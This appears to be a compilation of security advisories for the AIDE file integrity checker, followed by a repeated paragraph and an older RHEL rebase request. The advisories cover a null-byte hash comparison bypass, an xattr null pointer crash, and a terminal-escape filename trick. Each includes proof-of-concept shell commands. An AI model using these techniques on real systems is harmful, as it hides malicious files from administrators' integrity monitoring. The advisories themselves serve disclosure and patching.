Summary =======

It was discovered that AIDE, a host-based file and directory integrity checker, improperly compares hash values containing a null byte. An attacker could craft a malicious file with a hash value matching the existing hash in every byte up to and including the first 0x00 byte so that the hash change is silently ignored by AIDE. A local user could exploit this to bypass the AIDE detection of malicious files.

Project =======

AIDE (Advanced Intrusion Detection Environment)

Affected versions =================

AIDE <= 0.19.4

CVE ID ======

A CVE ID has been requested, but is not yet available; please cross-reference this vulnerability as GHSA-6wc9-4w69-5jc5 for now. The advisory will be updated, as soon as a CVE ID is available.

Proof of concept ================

$ mkdir test $ echo -n "00031388$(for i in {1..248} ; do printf '%c' x ; done)" > test/file $ aide --config <(printf -- "rootprefix=./test\n\ndatabaseout=stdout\n/file sha256+sha512\n") --init > test/aide.db $ echo -n "!0031388$(for i in {1..248} ; do printf '%c' x ; done)" > test/file $ aide --config <(printf -- "rootprefix=./test\n\ndatabasein=file:test/aide.db\n/file sha256+sha512\n") --check Start timestamp: 2026-10-17 19:28:38 +0200 (AIDE 0.19.4) AIDE found differences between database and filesystem!! Root prefix: ./test

Summary: Total number of entries: 1 Added entries: 0 Removed entries: 0 Changed entries: 1

--------------------------------------------------- Changed entries: ---------------------------------------------------

f H : /file

--------------------------------------------------- Detailed information about changes: ---------------------------------------------------

File: /file SHA512 : P8b+dtBxYkuzpArlOTav0mcbnsgyK6yN | M4dh5Bf8Qq8SXttTI05UFhooBkU6TzBg GXLU29ddIz0KH8JwXFQBg1kr29WRxCf1 | IdvZInsXpytohLbiVQws60Qa+rNOn1yz CEh60upsX4R1fFjjVjZ4xA== | yVPaQ2MEcqsMQ/CZNKy7kg==

--------------------------------------------------- The attributes of the (uncompressed) database(s): ---------------------------------------------------

test/aide.db SHA256 : 7pkJPevLDacvy1SlNpDdbO2LJC9K+eVp JbiJwoPJz1c= SHA512 : cE7/5LIJ45y0JrY51BqX033/PaY50qHU 1UMUz7zQzILXJObOsG0C2SV2PVCQJWFx ocCjWdAy8ZOaDBX/aN9Xhw== STRIBOG256: cnuQwLejgI+VBBVvl3EcHPcU+eW855Gx BJNvvVIqOk4= STRIBOG512: CZa/yVLVDQQkCR+Z5Q+zO4u3nvGSRci+ IOvlfUkMZuDcBu9cTfGmiPZLbnzgpRsk 2Yz1t3TnRE1DhDH4Wzf/qg== SHA512/256: rk6L06UvIay94ky7CEtMdmCUTEVaBMtk zK/Ojy0AoEA= SHA3-256 : lU0ArehEa2V4Ovhujiz/GjsZLyNpjwhM LoLS+1HYlhY= SHA3-512 : nOFvtQgHYrlT+XMCc3BqflAd6iCdbbC5 1Zr4VerGXc+aOnD2E5Nrl6Z4U2Yed8RI 3PUOngDqiUafGusEM+yVcQ==

End timestamp: 2026-10-17 19:28:38 +0200 (run time: 0m 0s)

The report correctly shows the change of the sha512 hash, but misses the change of the sha256 hash.

Analysis ========

The vulnerability is caused by using strncmp instead of memcmp for comparing hash values in bytecmp function, resulting in bytecmp not comparing the entire hash value if one of the hash values contain a null byte.

In the proof of concept example above the hash values of the old and the new content starts with a null byte, so only the first byte (the 0x00 byte) is compared and the sha256 hash value change is missed.

Mitigation ==========

Upgrade to AIDE v0.19.5

Alternatively apply the provided patch:

aide-0.19GHSA-6wc9-4w69-5jc5bytecmp.patch

If you cannot upgrade, consider adding multiple hash functions to your rules (the H attribute group adds all available hash functions) to increase the probability a content change is reported even if one hash contains a null byte.

Credit ======

The issue was reported by a community member.

References ========== AIDE v0.19.5 GHSA-6wc9-4w69-5jc5

AIDE is an advanced intrusion detection environment. From versions 0.13 to 0.19.1, there is a null pointer dereference vulnerability in AIDE. An attacker can crash the program during report printing or database listing after setting extended file attributes with an empty attribute value or with a key containing a comma. A local user might exploit this to cause a local denial of service. This issue has been patched in version 0.19.2. A workaround involves removing xattrs group from rules matching files on affected file systems.

Summary =======

Rajesh Pangare discovered a null pointer dereference vulnerability in AIDE, an advanced intrusion detection system. An attacker can crash the program during report printing or database listing after setting extended file attributes with an empty attribute value or with a key containing a comma. A local user might exploit this to cause a local denial of service.

Project =======

AIDE (https://aide.github.io)

Affected versions =================

AIDE >= 0.13, <= 0.19.1

CVE ID ======

CVE-2025-54409

Proof of concept ================

To take advantage of the flaw the user needs write access to a mounted file system that supports extended file attributes. aide also needs to be compiled with --with-xattr configure flag (this is the case for most distributions).

listing aide database with empty extended attribute value $ touch xattrs-file ; setfattr -n user.emptyvalue xattrs-file # aide --config <(printf -- "databaseout=stdout\n$(pwd)/xattrs-file xattrs\n") --init | aide --config <(printf -- "databasein=stdin\n$(pwd)/xattrs-file xattrs\n") --list

checking aide database with extended attribute key containing a comma $ touch xattrs-file ; setfattr -n user.ke,y -v value xattrs-file # aide --config <(printf -- "databaseout=stdout\n$(pwd)/xattrs-file xattrs\n") --init | aide --config <(printf -- "databasein=stdin\n$(pwd)/xattrs-file xattrs\n") --check

Please note that the segfault only occurs on the second run of aide after the extended file attribute has been written to the database in the first run (provided the xattr value is shown in the report due to a change or the database is listed via --list).

Analysis ========

The vulnerability is caused by missing error handling while decoding the base64 encoded xattr attribute from the database and incorrectly handling of empty xattr attribute values and attribute keys containing a comma.

This allows a user to craft a file with an extended file attribute causing aide to dereference a null pointer and segfault.

Mitigation ==========

Upgrade to AIDE v0.19.2 [v0.19.2]

Alternatively apply one of the provided patches:

aide-0.19cve-2025-54409xattr.patch for 0.19.1 aide-0.18cve-2025-54409xattr.patch for 0.18.8 (backported for Debian Bookworm) aide-0.17cve-2025-54409xattr.patch for 0.17.4 (backported for Debian Bullseye)

If you cannot upgrade, consider removing xattrs group from rules matching files on affected file systems.

[v0.19.2] https://github.com/aide/aide/releases/tag/v0.19.2

Credit ======

The issue was reported by Rajesh Pangare.

Summary =======

Rajesh Pangare discovered an improper output neutralization vulnerability in AIDE, an advanced intrusion detection system. An attacker can craft a malicious filename by including terminal escape sequences to hide the addition or removal of the file from the report and/or tamper with the log output. A local user might exploit this to bypass the AIDE detection of malicious files. Additionally the output of extended attribute key names and symbolic links targets are also not properly neutralized.

Project =======

AIDE (https://aide.github.io)

Affected versions =================

AIDE <= 0.19.1

CVE ID ======

CVE-2025-54389

Proof of concept ================

$ mkdir test $ touch test/$(echo -e 'malicious-file\033[1A') $ touch test/regular-testfile $ aide --config <(printf -- "databasein=file:/dev/null\nrootprefix = ./test\n/ R") --check Start timestamp: 2025-08-10 07:23:25 +0000 (AIDE 0.19.1) AIDE found differences between database and filesystem!! Root prefix: ./test

Summary: Total number of entries: 3 Added entries: 3 Removed entries: 0 Changed entries: 0

--------------------------------------------------- Added entries: ---------------------------------------------------

d++++++++++++++++++: / f++++++++++++++++++: /regular-testfile

--------------------------------------------------- The attributes of the (uncompressed) database(s): ---------------------------------------------------

/dev/null SHA256 : 47DEQpj8HBSa+/TImW+5JCeuQeRkm5NM pJWZG3hSuFU= SHA512 : z4PhNX7vuL3xVChQ1m2AB9Yg5AULVxXc g/SpIdNs6c5H0NE8XYXysP+DGNKHfuwv Y7kxvUdBeoGlODJ6+SfaPg== STRIBOG256: P1OaIT6XyALMIp1HTGqjKoJaNgsqkzqU n9klII2c4bs= STRIBOG512: jpRdogmqhp8EVZKFKbyuRnnphzq3B7VT FfVs65i+8Kc2L3FVKDVu6DzaXyqsTGrS ujpxXBvNgcuOn5C/TBwaig== SHA512/256: xnK40e9W7Sirh8NiLFEUBpvdOte4+XN0 mNDAHs7wlno= SHA3-256 : p//G+L8e12ZRwUdWoGHWYvWA/03kO0n6 gtgKS4D4Q0o= SHA3-512 : pp9zzKI6msXItWfcGFp1bpfJghZP4lhZ 4NHcwUdcgKYVshI68fX5TBHj6UAsOsVY 9QAZnZW20+MBdYWGKB3NJg==

End timestamp: 2025-08-10 07:23:25 +0000 (run time: 0m 0s)

The output correctly shows the addition of regular-testfile but misses the addition of the malicious file.

This works because the terminal escape sequence moves the cursor one line up before the new line character of the regular output moves the cursor back to the beginning of the line containing the malicious file; the next added entry then overwrites the line.

Please note that the number of added entries is unchanged in the report. For this POC a user might notice the difference between the number of added entries and the list of added entries shown in the report, but with a much higher number of added files the deviation is likely overlooked.

Analysis ========

The vulnerability is caused by missing output neutralization before printing the filename, symbolic link target or extended attribute key name to the report and log output.

This allows a user to craft a filename, symbolic link target or extended attribute key name including control characters to tamper with or overwrite previous output.

Mitigation ==========

Upgrade to AIDE v0.19.2 [v0.19.2]

Alternatively apply one of the provided patches:

aide-0.19cve-2025-54389controlchars.patch for 0.19.1 aide-0.18cve-2025-54389controlchars.patch for 0.18.8 (backported for Debian Bookworm) aide-0.17cve-2025-54389controlchars.patch for 0.17.4 (backported for Debian Bullseye)

If you cannot upgrade, the issue can be mitigated by configuring AIDE to write the report output to a regular file (e.g. reporturl=file:/var/log/aide.log) or redirecting stdout to a regular file. Additionally consider redirecting the log output written to stderr to a regular file. Mind to open the generated files with a program that escapes terminal sequences correctly.

[v0.19.2] https://github.com/aide/aide/releases/tag/v0.19.2

Credit ======

The issue was reported by Rajesh Pangare.

A flaw was discovered an improper output neutralization vulnerability in AIDE, an advanced intrusion detection system. An attacker can craft a malicious filename by including terminal escape sequences to hide the addition or removal of the file from the report and/or tamper with the log output. A local user might exploit this to bypass the AIDE detection of malicious files. Additionally the output of extended attribute key names and symbolic links targets are also not properly neutralized.

A flaw was discovered an improper output neutralization vulnerability in AIDE, an advanced intrusion detection system. An attacker can craft a malicious filename by including terminal escape sequences to hide the addition or removal of the file from the report and/or tamper with the log output. A local user might exploit this to bypass the AIDE detection of malicious files. Additionally the output of extended attribute key names and symbolic links targets are also not properly neutralized.

Description of problem: Several bugs have been fixed in recent version of aide (0.13.1) that we should pull in to RHEL5. The upstream version of aide has all but 1 of our aide patches, so rebasing would allow us to simplify things. 0.13.1 is overwhelmingly the work that we did for xattr support. But there are a few bug fixes.

Version-Release number of selected component (if applicable): aide-0.12-8.el5